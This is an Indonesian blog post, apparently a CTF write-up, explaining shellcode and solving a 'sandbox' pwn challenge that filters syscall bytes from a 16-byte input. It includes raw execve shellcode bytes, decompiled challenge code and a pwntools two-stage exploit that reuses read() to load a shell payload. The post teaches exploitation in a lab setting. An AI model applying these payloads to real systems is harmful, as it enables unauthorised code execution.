Skip to main content

Write up KKSI PWN 2, sandbox (ง ͠° ͟ل͜ ͡°)ง (day 34)


Image result for mantab meme

Post ini merupakan lanjutan dari post yang sebelumnya yaitu tentang write up CTF KKSI. Oke jadi dalam tantangan ini kita dikasih sebuah linux binary lagi yang menyuruh kita buat masukin shellcode


shellcode itu apa sih ? 

shellcode adalah sebuah program kecil yang kita pakai sebagai "payload" dalam celah keamanan, biasanya shellcode digunakan biar kita dapat "reverse shell" atau koneksi balik biar bisa berinteraksi dengan sistemnya.

contoh:

bentuk shellcode itu seperti ini:

 
\x31\xc0\xbb\x08\x84\x04\x08\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
 
 
sekilas mirip dengan nomor hexadecimal tapi kalau kita ubah kembali ke assembly akan seperti ini:

 * 8049368:       31 c0                   xor    %eax,%eax
 * 804936a:       bb 08 84 04 08          mov    $0x8048408,%ebx # change it
 * 804936f:       53                      push   %ebx
 * 8049370:       89 e1                   mov    %esp,%ecx
 * 8049372:       31 d2                   xor    %edx,%edx
 * 8049374:       b0 0b                   mov    $0xb,%al
 * 8049376:       cd 80                   int    $0x80
 * 8049378:       00 00                   add    %al,(%eax) 
shellcode itu banyak macamnya tergantung dari target OS kita. Biar lebih ngerti coba pergi ke link ini: http://shell-storm.org/shellcode/

menurut saya kalau mau melakukan pengembangan "exploit", tentunya pembuatan payload merupakan salah satu komponen yang harus anda sangat perhatikan.

tenang saja anda tidak harus bikin shellcode dari awal karena sudah banyak contoh-contoh yang bisa langsung dipakai. Tapi tetap saja kalau kita mau lebih maju atau menjadi pakar, harus belajar cara bikin biar kita bisa memproduksi shellcode sendiri.
Lanjut analisa binari kita dengan melakukan "checksec". Bisa diliat dari gambar dibawah, semua fitur keamanan binari dimatikan semua karena programnya sendiri pun menyuruh kita untuk menaruh shellcode.

coba kita analisa hasil decompiler dari radare2 dari binarinya:
 
[0x00400601]> pdd
/* r2dec pseudo code output */
/* sandbox @ 0x400601 */
#include <stdint.h>

int32_t main (void) {
    uint32_t var_8h;
    write (1, "Enter Your Shellcode > ", 0x17);
    read (0, obj.shellcode, 0x10); (1)
    var_8h = 0;
    while (var_8h <= 0x10) {
        rdx = obj_shellcode;
        rax = var_8h;
        rax += rdx;
        eax = *(rax);
        if (al == 0xb0) { (2)
            rax = var_8h;
            rdx = rax + 1;
            rax = obj_shellcode;
            eax = *((rdx + rax));
            if (al != 0x3b) { (2)
                goto label_0;
            }
            eax = 0;
            kill ();
        }
label_0:
        rdx = obj_shellcode;
        rax = var_8h;
        rax += rdx;
        eax = *(rax);
        if (al == 0xb0) { (2)
            rax = var_8h;
            rdx = rax + 1;
            rax = obj_shellcode;
            eax = *((rdx + rax));
            if (al != 2) { (2)
                goto label_1;
            }
            eax = 0;
            kill ();
        }
label_1:
        rdx = obj_shellcode;
        rax = var_8h;
        rax += rdx;
        eax = *(rax);
        if (al == 0xf) { (2)
            rax = var_8h;
            rdx = rax + 1;
            rax = obj_shellcode;
            eax = *((rdx + rax));
            if (al != 5) { (2)
                goto label_2;
            }
            eax = 0;
            kill ();
        }
label_2:
        var_8h++;
    }
    rdx = obj_shellcode; (3)
    eax = 0;
    void (*rdx)() (); (3)
    eax = 0;
    return rax;
}
catatan: untuk teman-teman yang belom terlalu tahu tentang radare2, jadi program ini bisa kita modifikasi dengan cara melakukan instalasi "plugin" untuk bisa mengeluarkan hasil decompiler dari function. cek link ini (https://github.com/radareorg/r2dec-js)
perhatikan source code dari radare2 yang saya tebalkan dengan warna merah

(1) pertama-tama program memanggil function read(), yang punya 3 parameter

  • parameter 1, itu memasukan "file descriptor" yang punya nilai 0 berarti "stdin"
  • parameter 2, variable string yang bakal menampung input kita
  • parameter 3, berapa besar ukuran string yang function read() akan baca dalam hal ini adalah "0x10" => 16 bytes
(2) nah ternyata kita ga bisa seenak jidat aja masukin shellcode di programnya soalnya ada beberapa pengecekan karakter.

  • cek 1: karakter kita akan dicek dengan 0xb0 dan 0x3b
  • cek 2: karakter kita akan dicek lagi dengan 0xb0 dan 0x02
  • cek 3: karakter kita akan dicek lagi ! dengan 0x0f dan 0x05
kita bisa analisa representasi assembly karakter-karakter yang ada didalam cek ini dengan memakai program "pwntools"


(3) Terakhir shellcode yang kita masukan akan dipanggil atau dieksekusi:

rdx = obj_shellcode;
void (*rdx)() ();

teman2 jangan bingung kalau ketemu kode yang banyak kurung buka dan kurung tutup seperti ini. Simpelnya ini kode hanya main pointer dengan variabel agar variablenya sendiri bisa dieksekusi sebagain function.

oke jadi kita bisa simpulkan:

1. shellcode kita yang masukan cuma bisa panjangnya 16 bytes
2. tidak boleh ada karakter syscall 

ada tidak shellcode yang panjangnya 16 bytes ?

ada ! tapi itu kalau binarynya adalah termasuk 32 bit

sedangkan binari yang kita dapat adalah 64 bit 


jadi gimana caranya kita bisa bikin ini binari untuk mengambil shellcode kita lebih banyak ?

cara yang saya temukan akan dibagi menjadi dua bagian

1. konsepnya adalah program kita itu punya function read() yang dipakai untuk input, bukan? sebenernya kita bisa pakai lagi bagian kodenya itu dengan diubah menjadi shellcode tapi parameter 3 yang mengatur panjang input kita ubah biar gedean. 
2. setelah diubah menjadi shellcode dan dimasukan ke program, akhirnya akan mengeksekusi function read() kedua yang size lebih besar dan disini kita bisa masukan shellcodenya.




Jadi kode akhirnya akan seperti ini:
context.clear(arch="amd64")  => dipakai biar pwntools itu biar ngikutin pengaturan arsitektur 64 bit

p = process("./sandbox") => untuk membuka program binari

payload = asm("""
        mov edx,0xf0
        mov eax,0x4004e0
        push rsi
        push rax
        ret
""") => nah ini adalah bagian kode read function yang kita pakai ulang lagi, bisa dilihat kita mengisi register eax dengan letak function 0x4004e0 yang merupakan letak read function ditaruh di programnya

lalu kita isi register edx dengan panjang input yang kita inginkan yaitu f0 => 240 bytes

p.sendafter(">",payload) => artinya kita masukan input kita setelah karakter ">" karena ada "prompt" dari program yang tulisannya "masukan shellcode >"

payload = asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

sisanya kita hanya membuat shellcode untuk membuka shell "/bin/sh" dan mengubah nya ke representasi hex nya dan terakhir function "interactive" biar bisa kontak dengan shell nya


yess kita berhasil dapat shell nya

tapi mohon maaf saya ga bisa kasih liat flag nya karena baru dapat kodenya setelah kompetesi berlangsung

referensi:


dan write up yang saya baca dari grup whatsapp 

Antoni
Anthony Viriya
Yohan Muliono

write up kalian memudahkan hidup saya

Terima kasih



Comments

Popular posts from this blog

Having fun analyzing nginx log to find malicious attacker in the net (ง'̀-'́)ง (day 37)

  What makes you sleepless at night? is it because of a ghost or scary stories? is it because you have an important meeting tomorrow? or is it because you have an exam? For me, what keeps me up all night is that I keep thinking about what happens to a website that I just created, is it safe from an attacker (certainly not) or did I missing some security adjustments that lead to vulnerability? well I'm not the best secure programmer in the world, I'm still learning and there is a big possibility that I can make a mistake but for me, a mistake can be a valuable investment to myself or yourself to be better so from this idea, I want to know more about what attackers casually do when attacking a website. Here in this post, I'm going to show you how I analyzed attack to the website that I have permission to design and also some interesting findings that I could get from the analysis Background: All of this analysis comes from the traffic that is targeted to th...

Utilize Pwntools for crafting ROP chain :') (day 69)

who doesn't like pwntools? it is a very versatile tool and can be customized according to our need using the python script but did you need to know that pwntools itself can help us to automatically craft a rop chain for us? so in this post, I will show you how to make rop chain less painful and make pwntools do all the heavy lifting. To demonstrate this I will use the binary challenge callme 64 bit from ropemporium link: https://ropemporium.com/challenge/callme.html Crashing the app: Like any other exploitation process, we need to crash the program by generating a long string pattern to determine the offset. based on the information from the above figure we can see that we required to provide 40 bytes of offset Fun stuff: now this where the fun stuff began write the following python script: as in the guideline of the challenged said we need to chain the function call by first to call the callme_one function, callme_two function and then callme_three funct...

Bypassing stack canaries protection :') (day 51)

In my previous blogs, I show you guys how to bypass some common protection usually used in Linux binary such as NX and ASLR but this time we are going to take it to the next level we are going to talk about protection employ in the modern Linux OS which is "The Canaries" and how to bypass it. note: this post was not originally mined it was inspired by the following resources https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary/ (Credit goes to the author) we are going to start this post about what is stack canaries and types of different implementation of it then move to the implementation about how to bypass this protection. We are going to focus on "leak canaries" technique What is stack canary: In layman terms, canaries are just another protection mechanism to prevent stack overflow implemented by appending 4/8 bytes value (depend on the architecture) into the stack when a function is entered. When the function is at the end of its exec...